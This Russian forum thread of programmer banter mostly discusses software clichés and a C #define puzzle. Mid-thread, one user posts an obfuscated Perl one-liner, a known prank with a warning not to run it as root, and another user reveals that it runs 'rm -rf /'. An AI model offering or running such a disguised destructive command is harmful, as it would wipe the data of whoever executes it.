Программное западло - прораммисты трут здесь

[Alexander Bubentsov 4]

mmoustaf,

Twilight_Sun,

вы - классические айтишники.

[kastorskiy 0]

  Alexander Bubentsov писал:

вы - классические айтишники.

Вообще-то картинка иллюстрирует классические проблемы не айтишников.

А мой наводящий вопрос вроде как оказался более-менее удачным.

[Alexander Bubentsov 4]

  kastorskiy писал:

Вообще-то картинка иллюстрирует классические проблемы не айтишников.

cmd> set umnik_mode on

А давайте не будем перетирать о роли аналитиков и за то что надо продавать решение проблемы, а не сферическое ПО с набором костылей.

cmd> set umnik_mode off

[URI 0]

Все радости и проблемы - они от людей, поэтому предлагать какие-то решения прежде, чем стало понятно о чем глючит к тебе пришедший - не менее забавно, чем тот бред, который он тебе выгружает.

Наводящий вопрос камрада kastorskiy изменил мою реальность и, благодаря этому, реальность еще большого количества людей, которые будут пользоваться плодами развития этой ветки реальности )

[Twilight_Sun 1914]

  Alexander Bubentsov писал:

сферическое ПО с набором костылей.

Почему ты написал это так, как будто бы в этом есть что-то плохое?

[URI 0]

На самом деле очень круто, что все откликнулись и помогли!

Большое спасибо

[Alexander Bubentsov 4]

  Twilight_Sun писал:

Почему ты написал это так, как будто бы в этом есть что-то плохое?

Потому что посмотри на правый нижний фрагмент (то что было нужно заказчику) того баяна, ссылку на который я дал выше.

[mmoustaf 101]

  Alexander Bubentsov писал:

Потому что посмотри на правый нижний фрагмент (то что было нужно заказчику) того баяна, ссылку на который я дал выше.

Ну так то заказчик.

А у нас "вопрос программистам" вроде как программер задавал.

Устроили блин цирк.

[URI 0]

  Цитата

программер задавал

я не программер, я юзер среднего уровня

[Twilight_Sun 1914]

  Alexander Bubentsov писал:

Потому что посмотри на правый нижний фрагмент (то что было нужно заказчику) того баяна, ссылку на который я дал выше.

а другому заказчику может и такое нужно. не? инсталляция в стиле хрензнаетчто все дела.

[BigBUG 12]

а программа из одной строчки на Perl тут уже была?

[BigBUG 12]

  Igor писал:

Это, слуачем, не та с шифрованием как тест на админов идиотов?

она

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

не запускать под рутом!

[BigBUG 12]

  Igor писал:

А вот это ты зря сказал

ну я в отличие от автора оригинального пранка добрый

[sergant 3]

  Цитата

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

rm -rf /

[stiner_rd 773]

  sergant писал:

rm -rf /

да, старая фишка. Помнится на linux.org.ru народ ломанулся тестировать нерабочий скрипт ...

[sergant 3]

  Цитата

Если это возможно, привести решение.

#include <stdio.h>

main() {

int a = 2, b = 4;

printf("%d, %d\n", a, b);

#define a 4

printf("%d, %d\n", a, b);

}

[sergant 3]

ты решил неправильно.

a=2, a не val.a=2

хотя твое решение показывает более глубокое знание языка.

странный вопрос однако...

Человек только начавший изучать C ответит сходу, а я (много лет опыта) задумался по-началу...

[sergant 3]

"Зануда" ©

а как будешь делать "a == b"?

или равенство тоже модифицировать можно?

[sergant 3]

  stiner_rd писал:

да, старая фишка. Помнится на linux.org.ru народ ломанулся тестировать нерабочий скрипт ...

угу, там используется элементарный 'tr' (тест на знание /bin/sh) + "куча" отвлекаючего кода

[sergant 3]

  Цитата

Конечно можно. Подпадает под вышеприведенное правило

aa = 2; // разрешено?

aaa = 4; // разрешено?

aaaa = 6; // разрешено?

ab = 4; // разрешено?

aab = 4; // разрешено?

aaaab = 4; // разрешено?

Если выше перечисленное разрешено, но только один раз, то ты модифицируешь условия (да, я тоже зануда)

if( aa == ab)

if( aaa == aab)

if( aaaa == aaab)

[sergant 3]

т.е.

a = 2

b = 4

запрешен?

[соло 75]

#define a b

[sergant 3]

  соло писал:

#define a b

O!

[sergant 3]

Igor,

  Цитата

Ок. Специально для зануд Все операторы присваивания, кроме заданных исходно, запрещены

Ok. Покажи НЕ модифицированные операторы (точнее строки) в своем коде

PS. ты реально считаешь, что автор задачи подразумевал union вместо define?

[sergant 3]

Igor, я догадываюсь, что мое (и тем более Витино) решение верно.

Я пытаюсь оспорить ТВОЕ решение,

но у меня прыжков значительно меньше

PS. BigBug изъебнулся таки первым